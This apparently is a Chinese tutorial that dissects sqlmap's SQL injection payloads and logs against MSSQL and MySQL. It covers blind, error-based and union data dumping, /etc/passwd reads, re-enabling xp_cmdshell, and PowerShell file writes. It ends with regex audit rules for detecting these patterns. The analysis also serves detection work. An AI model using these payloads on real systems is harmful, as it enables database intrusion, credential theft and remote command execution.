[09:33:53] [PAYLOAD] -9601 OR 5141=5141
[09:33:53] [PAYLOAD] -8424') OR 1834=6799 AND ('CjOY'='CjOY
[09:33:53] [PAYLOAD] -1911') OR 5141=5141 AND ('NRjr'='NRjr
[09:33:53] [PAYLOAD] -1522' OR 4027=1559 AND 'UcpU'='UcpU
[09:33:53] [PAYLOAD] -5243' OR 5141=5141 AND 'BpgS'='BpgS

我们看这两条

[09:33:53] [PAYLOAD] -1522' OR 4027=1559 AND 'UcpU'='UcpU
[09:33:53] [PAYLOAD] -5243' OR 5141=5141 AND 'BpgS'='BpgS

这里返回的Content-Length明显是不同的,如下:

[09:33:53] [PAYLOAD] -5078 (Content-Length:270)
[09:33:53] [PAYLOAD] -1522' OR 4027=1559 AND 'UcpU'='UcpU(Content-Length:270)
[09:33:53] [PAYLOAD] -5243' OR 5141=5141 AND 'BpgS'='BpgS(Content-Length:327)

但是sqlmap没有检测出来,而当我加上–level 3时就可以检测出来了,Payload如下:

[11:32:47] [PAYLOAD] xxxxx' OR NOT 6885=9476-- KlLn
[11:32:47] [PAYLOAD] xxxxx' OR NOT 8732=8732-- cyBv
[11:32:47] [INFO] GET parameter 'name' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT)' injectable

可以看到添加上NOT就可以了,实际添加NOT和不添加NOT应该是没区别的,但是默认的–level 1就无法检测出来。
这里我在Mysql中也测试过,默认的–level 1就可以检测出注入

[09:33:53] [PAYLOAD] -1522' OR 4027=1559 AND 'UcpU'='UcpU
[09:33:53] [PAYLOAD] -5243' OR 5141=5141 AND 'BpgS'='BpgS
[09:33:53] [INFO] GET parameter 'id' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable (with --string="Me")

应该是一个BUG,以后跑SQL注入还是加上–level 3参数比较好,虽然会比较费时。

用户
SYSTEM_USER

[11:40:18] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(SYSTEM_USER AS NVARCHAR(4000)),CHAR(32))),1,1))>64 AND 'HuvO'='HuvO

数据库
DB_NAME()

[11:46:18] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),1,1))>64 AND 'kWIl'='kWIl

所有数据库

[11:47:39] [INFO] fetching number of databases //获取数据库数量
[11:47:39] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases),1,1))>51 AND 'ijOE'='ijOE

然后逐个获取数据库名称

[11:47:40] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases WHERE name NOT IN (SELECT TOP 0 name FROM master..sysdatabases ORDER BY name) ORDER BY name),6,1))>96 AND 'KIgW'='KIgW

test数据库的所有表

[13:57:27] [INFO] fetching tables for database: test
[13:57:27] [INFO] fetching number of tables for database 'test' //获取表数量
[13:57:27] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118))),1,1))>50 AND 'GRfH'='GRfH

然后逐个获取表名称

[13:57:27] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 0 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),1,1))>64 AND 'aghv'='aghv

test库LoginInfo表的字段

[14:06:35] [INFO] fetching columns for table 'LoginInfo' in database 'test'
[14:06:35] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM test..syscolumns WHERE id=(SELECT id FROM test..sysobjects WHERE name=CHAR(76)+CHAR(111)+CHAR(103)+CHAR(105)+CHAR(110)+CHAR(73)+CHAR(110)+CHAR(102)+CHAR(111))),1,1))>51 AND 'uOuB'='uOuB

然后逐个获取字段名称

[14:06:35] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..syscolumns.name AS NVARCHAR(4000)),CHAR(32)) FROM test..syscolumns,test..sysobjects WHERE test..syscolumns.id=test..sysobjects.id AND test..sysobjects.name=CHAR(76)+CHAR(111)+CHAR(103)+CHAR(105)+CHAR(110)+CHAR(73)+CHAR(110)+CHAR(102)+CHAR(111) AND test..syscolumns.name NOT IN (SELECT TOP 0 test..syscolumns.name FROM test..syscolumns,test..sysobjects WHERE test..syscolumns.id=test..sysobjects.id AND test..sysobjects.name=CHAR(76)+CHAR(111)+CHAR(103)+CHAR(105)+CHAR(110)+CHAR(73)+CHAR(110)+CHAR(102)+CHAR(111) ORDER BY test..syscolumns.name) ORDER BY test..syscolumns.name),2,1))>104 AND 'dLNO'='dLNO

test库LoginInfo表的数据
下面来看一下MSSQL是如何dump数据的
首先获取表的行数

[14:27:50] [INFO] fetching entries for table 'LoginInfo' in database 'test'
[14:27:50] [INFO] fetching number of entries for table 'LoginInfo' in database 'test'
[14:27:50] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(*))) AS NVARCHAR(4000)),CHAR(32)) FROM test.dbo.LoginInfo),1,1))>51 AND 'VdVA'='VdVA
[14:27:50] [INFO] retrieved: 4

可以看到共有4行数据,然后sqlmap会尝试获取4个字段的不重复数据的数量看是否等于4,例如这里我的测试数据如下:

+----+------------+------------+
| id | name | class |
+----+------------+------------+
| 12 | hehe | haha |
| 2 | test | test |
| 1 | xxxx | oooo |
| 2 | 文森特 | 6666 |
+----+------------+------------+

可以看到第一个字段id的值有重复的,我们来看下sqlmap的语句

[14:27:50] [INFO] fetching number of distinct values for column 'id'
[14:27:50] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(DISTINCT(id)))) AS NVARCHAR(4000)),CHAR(32)) FROM test.dbo.LoginInfo),1,1))>51 AND 'XKGF'='XKGF
...
[14:27:50] [INFO] retrieved: 3

可以看到获取到id字段的不重复数据有3条,小于4,那么sqlmap会接着查找。

[14:27:50] [INFO] fetching number of distinct values for column 'name'
[14:27:50] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(DISTINCT(name)))) AS NVARCHAR(4000)),CHAR(32)) FROM test.dbo.LoginInfo),1,1))>51 AND 'sAPJ'='sAPJ
...
[14:27:51] [INFO] retrieved: 4
[14:27:51] [INFO] using column 'name' as a pivot for retrieving row data

可以看到name字段不重复数据有4条,那么后续就使用name字段作为标准。
然后通过比较逐个字符二分查找获取第一个name值

[14:27:51] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32))) FROM test.dbo.LoginInfo WHERE CONVERT(NVARCHAR(4000),name)>CHAR(32)),1,1))>64 AND 'BLxX'='BLxX
[14:27:52] [INFO] retrieved: hehe

然后以name=hehe为条件获取其他字段的内容,如下:

[15:06:20] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT MAX(ISNULL(CAST(class AS NVARCHAR(4000)),CHAR(32))) FROM test.dbo.LoginInfo WHERE CONVERT(NVARCHAR(4000),name) LIKE CHAR(104)+CHAR(101)+CHAR(104)+CHAR(101)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32)),10,1))>31 AND 'mPXD'='mPXD

然后获取第二个name值

[15:06:20] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32))) FROM test.dbo.LoginInfo WHERE CONVERT(NVARCHAR(4000),name)>CHAR(104)+CHAR(101)+CHAR(104)+CHAR(101)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32)),1,1))>64 AND 'sGdV'='sGdV
....
[15:06:22] [INFO] retrieved: test

然后以name=test为条件获取其他字段的内容,以此类推。

而如果数据库中的确有两条数据是这样的:

会提示
[18:57:55] [WARNING] no proper pivot column provided (with unique values). It won’t be possible to retrieve all rows

时间盲注


语句与布尔盲注类似
xxxx’ IF 1=1 waitfor delay ‘0:0:1’ —
然后也是利用逐字符比较

 

堆查询注入


与时间盲注相同,多了个;

 

报错注入


报错注入会将错误信息回显到Web页面中,所有不用逐个字符读取,速度要快上很多。
test库LoginInfo表的字段数

[16:19:57] [INFO] fetching columns for table 'LoginInfo' in database 'test'
[16:19:57] [PAYLOAD] xxxx' AND 7690 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT ISNULL(CAST(COUNT(*) AS NVARCHAR(4000)),CHAR(32)) FROM test..syscolumns,test..sysobjects WHERE test..syscolumns.id=test..sysobjects.id AND test..sysobjects.name=CHAR(76)+CHAR(111)+CHAR(103)+CHAR(105)+CHAR(110)+CHAR(73)+CHAR(110)+CHAR(102)+CHAR(111))+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(120)+CHAR(113)))-- iyOJ
[16:19:58] [INFO] the SQL query used returns 3 entries

获取条数

[16:19:58] [INFO] fetching entries for table 'LoginInfo' in database 'test'
[16:19:58] [PAYLOAD] xxxx' AND 3033 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT ISNULL(CAST(LTRIM(STR(COUNT(*))) AS NVARCHAR(4000)),CHAR(32)) FROM test.dbo.LoginInfo)+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(120)+CHAR(113)))-- LSFE
[16:19:58] [INFO] retrieved: 4

通过比对发现name的不重复值数量等于4,所以使用name作为条件标准。

[16:19:58] [INFO] fetching number of distinct values for column 'id'
[16:19:58] [PAYLOAD] xxxx' AND 3330 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT ISNULL(CAST(LTRIM(STR(COUNT(DISTINCT(id)))) AS NVARCHAR(4000)),CHAR(32)) FROM test.dbo.LoginInfo)+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(120)+CHAR(113)))-- YKQR
[16:19:58] [INFO] retrieved: 3
[16:19:58] [DEBUG] performed 1 queries in 0.02 seconds
[16:19:58] [INFO] fetching number of distinct values for column 'name'
[16:19:58] [PAYLOAD] xxxx' AND 4123 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT ISNULL(CAST(LTRIM(STR(COUNT(DISTINCT(name)))) AS NVARCHAR(4000)),CHAR(32)) FROM test.dbo.LoginInfo)+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(120)+CHAR(113)))-- aXVU
[16:19:58] [INFO] retrieved: 4
[16:19:58] [DEBUG] performed 1 queries in 0.02 seconds
[16:19:58] [INFO] using column 'name' as a pivot for retrieving row data

然后获取第一个name值

[16:19:58] [PAYLOAD] xxxx' AND 2099 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT SUBSTRING((MIN(ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32)))),1,1024) FROM test.dbo.LoginInfo WHERE CONVERT(NVARCHAR(4000),name)>CHAR(32))+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(120)+CHAR(113)))-- TCBc
[16:19:58] [INFO] retrieved: hehe

获取name=hehe的其他字段

[16:19:58] [PAYLOAD] xxxx' AND 1011 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT SUBSTRING((MAX(ISNULL(CAST(id AS NVARCHAR(4000)),CHAR(32)))),1,1024) FROM test.dbo.LoginInfo WHERE CONVERT(NVARCHAR(4000),name) LIKE CHAR(104)+CHAR(101)+CHAR(104)+CHAR(101)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32))+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(120)+CHAR(113)))-- rTmM
[16:19:58] [INFO] retrieved: 12
....

Union注入


Sqlmap使用union select dump数据的时候,会使用SELECT class, id, name FROM test.dbo.LoginInfo FOR XML RAW, BINARY 来一次获取多行的数据。
例如获取字段

[19:06:14] [INFO] fetching columns for table 'LoginInfo' in database 'test'
[19:06:14] [PAYLOAD] xxxx' UNION ALL SELECT NULL,(SELECT test..syscolumns.name AS bpgi,TYPE_NAME(test..syscolumns.xtype) AS dkrn FROM test..syscolumns,test..sysobjects WHERE test..syscolumns.id=test..sysobjects.id AND test..sysobjects.name='LoginInfo' FOR XML RAW, BINARY BASE64),NULL-- zkKO

返回内容如下:

<row nxkz="id" mbxs="int"/><row nxkz="name" mbxs="nchar"/><row nxkz="class" mbxs="nchar"/>

例如获取数据

[19:06:14] [INFO] fetching entries for table 'LoginInfo' in database 'test'
[19:06:14] [PAYLOAD] xxxx' UNION ALL SELECT NULL,(SELECT class, id, name FROM test.dbo.LoginInfo FOR XML RAW, BINARY BASE64),NULL-- nlRQ

返回内容如下

<row class="oooo " id="1" name="xxxx "/><row class="zzzz " id="1" name="yyyy "/><row class="haha " id="12" name="hehe "/><row class="haha " id="2" name="xxxx "/>

审计规则


((?i)(sys(databases|objects|columns)|information_schema))
((?i)(xp_(cmdshell|regwrite|regread|dirtree)|sp_(configure|makewebtask|OACreate|OAMethod|addlogin|addsrvrolemember|password)|openrowset))
((?i)(WAITFOR\s{1,10}(DELAY|TIME)))
((?i)((IS_SRVROLEMEMBER|IS_MEMBER|HAS_DBACCESS|db_name|suser_sname|SERVERPROPERTY)\s{0,10}\())
((?i)(convert\s{0,10}\(\s{0,10}int))
((?i)(ISNULL\s{0,10}\(\s{0,10}CAST))
((?i)((unicode|ascii)\s{0,10}\(\s{0,10}substring\s{0,10}\())
((?i)((char\(\d{1,3}\)\+?){3,}))
((?i)((NULL,){3,}))
((?i)FOR XML RAW)

 

【Sqlmap】file-read and file-write

–file-read


当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。
Mysql

E:\Python27\sqlmap>python sqlmap.py -r r.txt --file-read "/etc/passwd" -v 3
[14:36:26] [INFO] fingerprinting the back-end DBMS operating system
[14:36:26] [PAYLOAD] 1' UNION ALL SELECT NULL,CONCAT(0x71706b7871,(CASE WHEN (0x57=UPPER(MID(@@version_compile_os,1,1))) THEN 1 ELSE 0 END),0x71707a7a71)-- skrs

[14:36:26] [WARNING] reflective value(s) found and filtering out
[14:36:26] [DEBUG] performed 1 queries in 0.02 seconds
[14:36:26] [INFO] the back-end DBMS operating system is Linux
[14:36:26] [DEBUG] going to read the file with a non-stacked query SQL injection technique
[14:36:26] [INFO] fetching file: '/etc/passwd'
[14:36:26] [PAYLOAD] 1' UNION ALL SELECT NULL,CONCAT(0x71706b7871,IFNULL(CAST(HEX(LOAD_FILE(0x2f6574632f706173737764)) AS CHAR),0x20),0x71707a7a71)-- pgzu
[14:36:26] [DEBUG] performed 1 queries in 0.02 seconds

 

Mssql
BULK INSERT以用户指定的格式复制一个数据文件至数据库表或视图中。

[14:53:20] [INFO] fetching file: 'C:/pass.txt'
[14:53:20] [PAYLOAD] xxxxx';DROP TABLE sqlmapfile--
[14:53:20] [PAYLOAD] xxxxx';CREATE TABLE sqlmapfile(data text)--
[14:53:20] [PAYLOAD] xxxxx';DROP TABLE sqlmapfilehex--
[14:53:20] [PAYLOAD] xxxxx';CREATE TABLE sqlmapfilehex(id INT IDENTITY(1, 1) PRIMARY KEY, data VARCHAR(4096))--
[14:53:20] [DEBUG] loading the content of file 'C:/pass.txt' into support table
[14:53:20] [PAYLOAD] xxxxx';BULK INSERT sqlmapfile FROM 'C:/pass.txt' WITH (CODEPAGE='RAW', FIELDTERMINATOR='ECPYscXqbX',ROWTERMINATOR='mrvcIRNcNx')--

然后是转换为16进制

[14:53:20] [PAYLOAD] xxxxx';DECLARE @charset VARCHAR(16) DECLARE @counter INT DECLARE @hexstr VARCHAR(4096) DECLARE @length INT DECLARE @chunk INT SET @charset = '0123456789ABCDEF' SET @counter = 1 SET @hexstr = '' SET @length = (SELECT DATALENGTH(data) FROM sqlmapfile) SET @chunk = 1024 WHILE (@counter <= @length) BEGIN DECLARE @tempint INT DECLARE @firstint INT DECLARE @secondint INT SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(data, @counter, 1)) FROM sqlmapfile)) SET @firstint = floor(@tempint/16) SET @secondint = @tempint - (@firstint * 16) SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1) SET @counter = @counter + 1 IF @counter % @chunk = 0 BEGIN INSERT INTO sqlmapfilehex(data) VALUES(@hexstr) SET @hexstr = '' END END IF @counter % (@chunk) != 0 BEGIN INSERT INTO sqlmapfilehex(data) VALUES(@hexstr) END --

这段太长,实际执行的是:

DECLARE @charset VARCHAR(16) 
DECLARE @counter INT 
DECLARE @hexstr VARCHAR(4096) 
DECLARE @length INT 
DECLARE @chunk INT 
SET @charset = '0123456789ABCDEF' 
SET @counter = 1 
SET @hexstr = '' 
SET @length = (SELECT DATALENGTH(data) FROM sqlmapfile) 
SET @chunk = 1024 
WHILE (@counter <= @length) 
BEGIN 
DECLARE @tempint INT 
DECLARE @firstint INT 
DECLARE @secondint INT 
SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(data, @counter, 1)) FROM sqlmapfile)) 
SET @firstint = floor(@tempint/16) 
SET @secondint = @tempint - (@firstint * 16) 
SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1) 
SET @counter = @counter + 1 
IF @counter % @chunk = 0 
BEGIN 
INSERT INTO sqlmapfilehex(data) VALUES(@hexstr) SET @hexstr = '' 
END 
END 
IF @counter % (@chunk) != 0 
BEGIN 
INSERT INTO sqlmapfilehex(data) VALUES(@hexstr) 
END --

 

[14:53:20] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[14:53:20] [PAYLOAD] xxxxx' AND 4689 IN (SELECT (CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT ISNULL(CAST(COUNT(*) AS NVARCHAR(4000)),CHAR(32)) FROM sqlmapfilehex)+CHAR(113)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(113)))-- jpEC

[14:53:20] [DEBUG] performed 1 queries in 0.13 seconds
[14:53:20] [PAYLOAD] xxxxx' AND 3925 IN (SELECT (CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT TOP 1 SUBSTRING((ISNULL(CAST(data AS NVARCHAR(4000)),
CHAR(32))),1,1024) FROM sqlmapfilehex WHERE data NOT IN (SELECT TOP 0 data FROM sqlmapfilehex ORDER BY id ASC) ORDER BY id ASC)+CHAR(113)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(113)))-- pyFU

 

–file-write,–file-dest


当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。
Mysql
Mysql使用的是into dumpfile。

E:\Python27\sqlmap>python sqlmap.py -r r.txt --file-write "C:\pass.txt" --file-dest "/tmp/123" -v 3
[15:49:12] [INFO] fingerprinting the back-end DBMS operating system
[15:49:12] [DEBUG] performed 0 queries in 0.00 seconds
[15:49:12] [INFO] the back-end DBMS operating system is Linux
[15:49:12] [DEBUG] going to upload the file 'binary' with UNION query SQL injection technique
[15:49:12] [DEBUG] encoding file to its hexadecimal string value
[15:49:12] [DEBUG] exporting the binary file content to file '/tmp/123'
[15:49:12] [PAYLOAD] -7595' UNION ALL SELECT 0x48656865313233343536,NULL INTO DUMPFILE '/tmp/123'-- JTLs

Mssql
Mssql上传文件需要使用xp_cmdshell,首先是启用xp_cmdshell

[15:52:01] [PAYLOAD] xxxxx';DECLARE @rkfp VARCHAR(8000);SET @rkfp=0x70696e67202d6e203130203132372e302e302e31;EXEC master..xp_cmdshell @rkfp--
xp_cmdshell extended procedure does not seem to be available. Do you want sqlmap to try to re-enable it? [Y/n]
[15:52:20] [DEBUG] configuring xp_cmdshell using sp_configure stored procedure
[15:52:20] [PAYLOAD] xxxxx';EXEC master..sp_configure 'SHOW advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'xp_cmdshell',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'SHOW advanced options',0; RECONFIGURE WITH OVERRIDE--
[15:52:20] [PAYLOAD] xxxxx';DECLARE @aapn VARCHAR(8000);SET @aapn=0x70696e67202d6e203130203132372e302e302e31;EXEC master..xp_cmdshell @aapn--
[15:52:30] [INFO] xp_cmdshell re-enabled successfully
[15:52:30] [DEBUG] creating a support table to write commands standard output to

然后测试xp_cmdshell是否可用

[15:52:30] [PAYLOAD] xxxxx';DROP TABLE sqlmapoutput--
[15:52:30] [PAYLOAD] xxxxx';CREATE TABLE sqlmapoutput(id INT PRIMARY KEY IDENTITY, data NVARCHAR(4000))--
[15:52:30] [INFO] testing if xp_cmdshell extended procedure is usable
[15:52:30] [PAYLOAD] xxxxx';DECLARE @umst VARCHAR(8000);SET @umst=0x6563686f2031;INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @umst--
[15:52:30] [PAYLOAD] xxxxx' AND 7646 IN (SELECT (CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT ISNULL(CAST(COUNT(data) AS NVARCHAR(4000)),CHAR(32))
FROM sqlmapoutput)+CHAR(113)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(113)))-- JgAK
[15:52:30] [INFO] the SQL query used returns 1 entries
[15:52:30] [PAYLOAD] xxxxx' AND 8217 IN (SELECT (CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT TOP 1 SUBSTRING((ISNULL(CAST(data AS NVARCHAR(4000)),
CHAR(32))),1,1024) FROM sqlmapoutput WHERE id NOT IN (SELECT TOP 0 id FROM sqlmapoutput ORDER BY id) ORDER BY id)+CHAR(113)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(1
13)))-- zCxp
[15:52:30] [DEBUG] performed 2 queries in 0.12 seconds
[15:52:30] [PAYLOAD] xxxxx';DELETE FROM sqlmapoutput--
[15:52:30] [INFO] xp_cmdshell extended procedure is usable

然后会查找MSSQL的日志目录,实际执行查询是:

select SERVERPROPERTY('ErrorLogFileName')
[15:52:30] [DEBUG] identifying Microsoft SQL Server error log directory that sqlmap will use to store temporary files with commands' output
[15:52:30] [PAYLOAD] xxxxx' AND 9706 IN (SELECT (CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT SUBSTRING((ISNULL(CAST(SERVERPROPERTY(CHAR(69)+CHAR(114)+CHAR(114)+CHAR(111)+CHAR(114)+CHAR(76)+CHAR(111)+CHAR(103)+CHAR(70)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(78)+CHAR(97)+CHAR(109)+CHAR(101)) AS NVARCHAR(4000)),CHAR(32))),1,1024))+CHAR(113)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(113)))-- weXH
[15:52:30] [INFO] retrieved: E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\ERRORLOG
[15:52:30] [DEBUG] performed 1 queries in 0.03 seconds
[15:52:30] [DEBUG] going to use 'E:/Program Files/Microsoft SQL Server/MSSQL10_50.MSSQLSERVER/MSSQL/Log' as temporary files directory

写入文件到Log目录

[15:52:30] [INFO] using PowerShell to write the binary file content to file 'C:\666.txt'
[15:52:30] [DEBUG] uploading the base64-encoded file to E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\tmpfghpl.txt, please wait..
[15:52:30] [PAYLOAD] xxxxx';DECLARE @dsqz VARCHAR(8000);SET @dsqz=0x6563686f205347566f5a5445794d7a51314e673d3d203e3e2022453a5c50726f6772616d2046696c65735c4d6963726f736f66742053514c205365727665725c4d5353514c31305f35302e4d5353514c5345525645525c4d5353514c5c4c6f675c746d70666768706c2e74787422;EXEC master..xp_cmdshell @dsqz--

实际执行的命令是:

echo SGVoZTEyMzQ1Ng== >> "E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\tmpfghpl.txt"

然后使用Powershell解码Base64文件,首先写入powershell脚本

[15:52:30] [DEBUG] uploading the PowerShell base64-decoding script to E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\tmppsepgs.ps1
[15:52:30] [PAYLOAD] xxxxx';DECLARE @iumo VARCHAR(8000);SET @iumo=0x6563686f2024426173653634203d204765742d436f6e74656e74202d506174682022453a5c50726f6772616d2046696c65735c4d6963726f736f66742053514c205365727665725c4d5353514c31305f35302e4d5353514c5345525645525c4d5353514c5c4c6f675c746d70666768706c2e747874223b2024426173653634203d2024426173653634202d7265706c616365202260747c606e7c6072222c22223b2024436f6e74656e74203d205b53797374656d2e436f6e766572745d3a3a46726f6d426173653634537472696e672824426173653634293b205365742d436f6e74656e74202d506174682022433a5c3636362e74787422202d56616c75652024436f6e74656e74202d456e636f64696e672042797465203e3e2022453a5c50726f6772616d2046696c65735c4d6963726f736f66742053514c205365727665725c4d5353514c31305f35302e4d5353514c5345525645525c4d5353514c5c4c6f675c746d707073657067732e70733122;EXEC master..xp_cmdshell @iumo--
[15:52:30] [DEBUG] executing the PowerShell base64-decoding script to write the C:\666.txt file, please wait..

实际执行的是

echo $Base64 = Get-Content -Path "E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\tmpfghpl.txt"; $Base64 = $Base64 -replace "`t|`n|`r",""; $Content = [System.Convert]::FromBase64String($Base64); Set-Content -Path "C:\666.txt" -Value $Content -Encoding Byte >> "E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\tmppsepgs.ps1"

然后执行该脚本,并删除遗留文件。

[15:52:30] [PAYLOAD] xxxxx';DECLARE @wpll VARCHAR(8000);SET @wpll=0x706f7765727368656c6c202d457865637574696f6e506f6c69637920427950617373202d46696c652022453a5c50726f6772616d2046696c65735c4d6963726f736f66742053514c205365727665725c4d5353514c31305f35302e4d5353514c5345525645525c4d5353514c5c4c6f675c746d707073657067732e7073312220262064656c202f46202f512022453a5c50726f6772616d2046696c65735c4d6963726f736f66742053514c205365727665725c4d5353514c31305f35302e4d5353514c5345525645525c4d5353514c5c4c6f675c746d70666768706c2e7478742220262064656c202f46202f512022453a5c50726f6772616d2046696c65735c4d6963726f736f66742053514c205365727665725c4d5353514c31305f35302e4d5353514c5345525645525c4d5353514c5c4c6f675c746d707073657067732e70733122;EXEC master..xp_cmdshell @wpll--

实际执行的是

powershell -ExecutionPolicy ByPass -File "E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\tmppsepgs.ps1" & del /F /Q "E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\tmpfghpl.txt" & del /F /Q "E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\tmppsepgs.ps1"

【Sqlmap】os-shell详解

Mssql


mssql想要执行命令需要支持Stacked Queries。使用mssql 2005测试。
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure开启它。
使用sqlmap -v 3来查看sqlmap的Payload

[16:13:05] [PAYLOAD] 1;DECLARE @hihq VARCHAR(8000);SET @hihq=0x70696e67202d6e203130203132372e302e302e31;EXEC master..xp_cmdshell @hihq--
0x70696e67202d6e203130203132372e302e302e31

转换为字符串为ping -n 10 127.0.0.1
通过响应时间来判断是否可以执行命令

xp_cmdshell extended procedure does not seem to be available. Do you want sqlmap to try to re-enable it? [Y/n]
[16:16:26] [PAYLOAD] 1;EXEC master..sp_configure 'SHOW advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'xp_cmdshell',1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'SHOW advanced options',0; RECONFIGURE WITH OVERRIDE--

通过EXEC master..sp_configure ‘xp_cmdshell’,1; RECONFIGURE WITH OVERRIDE; 启用xp_cmdshell

[16:19:59] [INFO] xp_cmdshell re-enabled successfully

然后创建一张表来写入命令执行的输出

[16:19:59] [PAYLOAD] 1;DROP TABLE sqlmapoutput--
[16:19:59] [PAYLOAD] 1;CREATE TABLE sqlmapoutput(id INT PRIMARY KEY IDENTITY, data NVARCHAR(4000))--
[16:19:59] [PAYLOAD] 1;DECLARE @iqoj VARCHAR(8000);SET @iqoj=0x6563686f2031;INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @iqoj--
0x6563686f2031为echo 1
